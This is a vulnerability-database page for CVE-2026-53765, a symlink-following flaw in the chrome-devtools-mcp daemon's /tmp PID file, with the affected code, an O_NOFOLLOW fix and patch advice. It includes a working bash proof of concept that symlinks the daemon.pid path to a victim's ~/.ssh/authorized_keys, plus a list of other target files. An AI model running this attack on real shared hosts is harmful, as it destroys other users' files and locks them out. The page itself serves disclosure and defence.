Skip to main content

chrome-devtools-mcp CVE-2026-53765

MEDIUM
Improper Link Resolution Before File Access (CWE-59)
2026-06-17 https://github.com/ChromeDevTools/chrome-devtools-mcp GHSA-3pvj-jv98-qhjq
6.1
CVSS 3.1 · Vendor: https://github.com/ChromeDevTools/chrome-devtools-mcp
Share

Severity by source

Vendor (https://github.com/ChromeDevTools/chrome-devtools-mcp) PRIMARY
6.1 MEDIUM
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
vuln.today AI
5.6 MEDIUM

PR:L because any local account suffices; UI:R because the victim must actively start the daemon; no confidentiality impact since only the PID string is written.

3.1 AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:L
4.0 AV:L/AC:L/AT:N/PR:L/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/ChromeDevTools/chrome-devtools-mcp).

CVSS VectorVendor: https://github.com/ChromeDevTools/chrome-devtools-mcp

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

Lifecycle Timeline

3
Source Code Evidence Fetched
Jun 18, 2026 - 01:29 vuln.today
Analysis Generated
Jun 18, 2026 - 01:29 vuln.today
CVE Published
Jun 17, 2026 - 14:01 github-advisory
MEDIUM 6.1

DescriptionCVE.org

Summary

The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid.

Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string.

This report is deliberately scoped to POSIX systems where the daemon falls back to /tmp: typical macOS environments and Linux sessions without $XDG_RUNTIME_DIR. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.

Details

Affected code:

src/daemon/daemon.ts:38-42

ts
const pidFilePath = getPidFilePath(sessionId);
fs.mkdirSync(path.dirname(pidFilePath), {
  recursive: true,
});
fs.writeFileSync(pidFilePath, process.pid.toString());

src/daemon/utils.ts:49-68

ts
export function getRuntimeHome(sessionId: string): string {
  const platform = os.platform();
  const uid = os.userInfo().uid;
  const suffix = sessionId ? `-${sessionId}` : '';
  const appName = APP_NAME + suffix;

  if (process.env.XDG_RUNTIME_DIR) {
    return path.join(process.env.XDG_RUNTIME_DIR, appName);
  }

  if (platform === 'darwin' || platform === 'linux') {
    return path.join('/tmp', `${appName}-${uid}`);
  }

  return path.join(os.tmpdir(), appName);
}

The /tmp sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under /tmp. If an attacker creates /tmp/chrome-devtools-mcp-<victim_uid>/ first and places a symlink at daemon.pid, the victim's daemon process follows that link when writing the PID.

Preconditions:

  • The victim is on a typical macOS environment where $XDG_RUNTIME_DIR is unset, or on a Linux system/session where $XDG_RUNTIME_DIR is unset.
  • The attacker has any local user account on the same host.
  • The victim later runs a chrome-devtools CLI path or MCP integration that starts daemon mode.

PoC

Realistic POSIX scenario:

bash
# Attacker, before victim starts daemon mode.
victim_uid=1000
mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}"
chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}"
ln -s "/home/victim/.ssh/authorized_keys" \
      "/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid"
# Victim later starts daemon mode.
chrome-devtools start
# Result:
# fs.writeFileSync follows the symlink, so authorized_keys is truncated to
# the daemon PID string.

Lab-only PoC that touches only a fresh os.tmpdir()/cdtmcp-lab-* directory:

js
const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');

const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));

try {
  fs.chmodSync(lab, 0o755);

  const victimSecret = path.join(lab, 'victim-secret.txt');
  fs.writeFileSync(
    victimSecret,
    'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n',
  );

  const runtimeDir = path.join(lab, 'attacker-pre-created');
  fs.mkdirSync(runtimeDir, {recursive: true});

  const pidFilePath = path.join(runtimeDir, 'daemon.pid');
  fs.symlinkSync(victimSecret, pidFilePath);

  // Exact pattern from src/daemon/daemon.ts:39-42.
  fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});
  fs.writeFileSync(pidFilePath, process.pid.toString());

  console.log(fs.readFileSync(victimSecret, 'utf8'));
  // -> "<pid>"  (victim file was truncated/overwritten)
} finally {
  fs.rmSync(lab, {recursive: true, force: true});
}

Observed output from the lab PoC:

text
[setup] victim secret BEFORE attack:
  IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED
[attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret>
[victim ran daemon] victim secret AFTER:
  <pid>
[lstat pidFile] still symlink
[outcome] victim file was overwritten via attacker-placed symlink.

I can provide the standalone pidfile_symlink_poc.cjs file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.

Impact

Who can exploit:

Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when $XDG_RUNTIME_DIR is unset for that user session.

Security impact:

  • Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string.
  • Availability: critical user configuration files can be corrupted until restored from backup.
  • Confidentiality: none directly; the written content is only the PID string.

Example targets affected by truncation:

  • ~/.ssh/authorized_keys, causing the victim to lose SSH access.
  • ~/.bashrc, ~/.zshrc, or ~/.profile, breaking shell startup.
  • Project .env, secrets.json, license files, or line-oriented config files.
  • Logs or local audit files writable by the victim.

Suggested fix:

Open the PID file with O_NOFOLLOW and validate runtime directory ownership/permissions before writing:

ts
import {constants, openSync, writeSync, closeSync} from 'node:fs';

const fd = openSync(
  pidFilePath,
  constants.O_WRONLY |
    constants.O_CREAT |
    constants.O_TRUNC |
    constants.O_NOFOLLOW,
  0o600,
);
writeSync(fd, process.pid.toString());
closeSync(fd);

AnalysisAI

Symlink-following in chrome-devtools-mcp (npm, versions 0.20.0 through 1.0.1) allows any local user on the same POSIX host to truncate and overwrite arbitrary files owned by a victim user by pre-placing a symlink at the daemon's deterministic PID file path under /tmp. The attack targets macOS unconditionally and Linux sessions where $XDG_RUNTIME_DIR is unset, because the runtime path falls back to world-accessible /tmp. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Enumerate victim UID on shared POSIX host
Delivery
Pre-create /tmp/chrome-devtools-mcp-<uid>/ directory as attacker
Exploit
Place daemon.pid symlink targeting victim-owned file
Execution
Wait for victim to invoke chrome-devtools start
Persist
fs.writeFileSync follows symlink without O_NOFOLLOW
Impact
Target file truncated to daemon PID string

Vulnerability AssessmentAI

Exploitation Exploitation requires all of the following conditions simultaneously: (1) The victim runs macOS - where $XDG_RUNTIME_DIR is absent by default in all standard Terminal and GUI sessions - or a Linux session where $XDG_RUNTIME_DIR is explicitly unset or not configured; (2) The attacker holds any local user account on the same POSIX host - remote-only adversaries cannot exploit this vulnerability; (3) The attacker pre-creates the directory /tmp/chrome-devtools-mcp-<victim_uid>/ and places a symlink named daemon.pid pointing to a file writable by the victim, before the victim's daemon first starts; (4) The victim subsequently invokes chrome-devtools start or any MCP integration path that triggers daemon mode. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The supplied CVSS 3.1 vector (AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L, score 6.1) correctly identifies a local, low-privilege attack surface with high integrity impact and no confidentiality exposure. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with any local account on a shared macOS or Linux host (without $XDG_RUNTIME_DIR set) runs mkdir -p /tmp/chrome-devtools-mcp-1000 and ln -s ~/.ssh/authorized_keys /tmp/chrome-devtools-mcp-1000/daemon.pid before the victim has ever started the daemon. When the victim subsequently runs chrome-devtools start as part of an AI agent workflow, fs.writeFileSync() follows the pre-planted symlink and silently overwrites authorized_keys with the daemon's PID string, locking the victim out of all SSH sessions. …
Remediation Upgrade to chrome-devtools-mcp version 1.1.0, the vendor-confirmed patched release per GHSA-3pvj-jv98-qhjq. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-53765 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy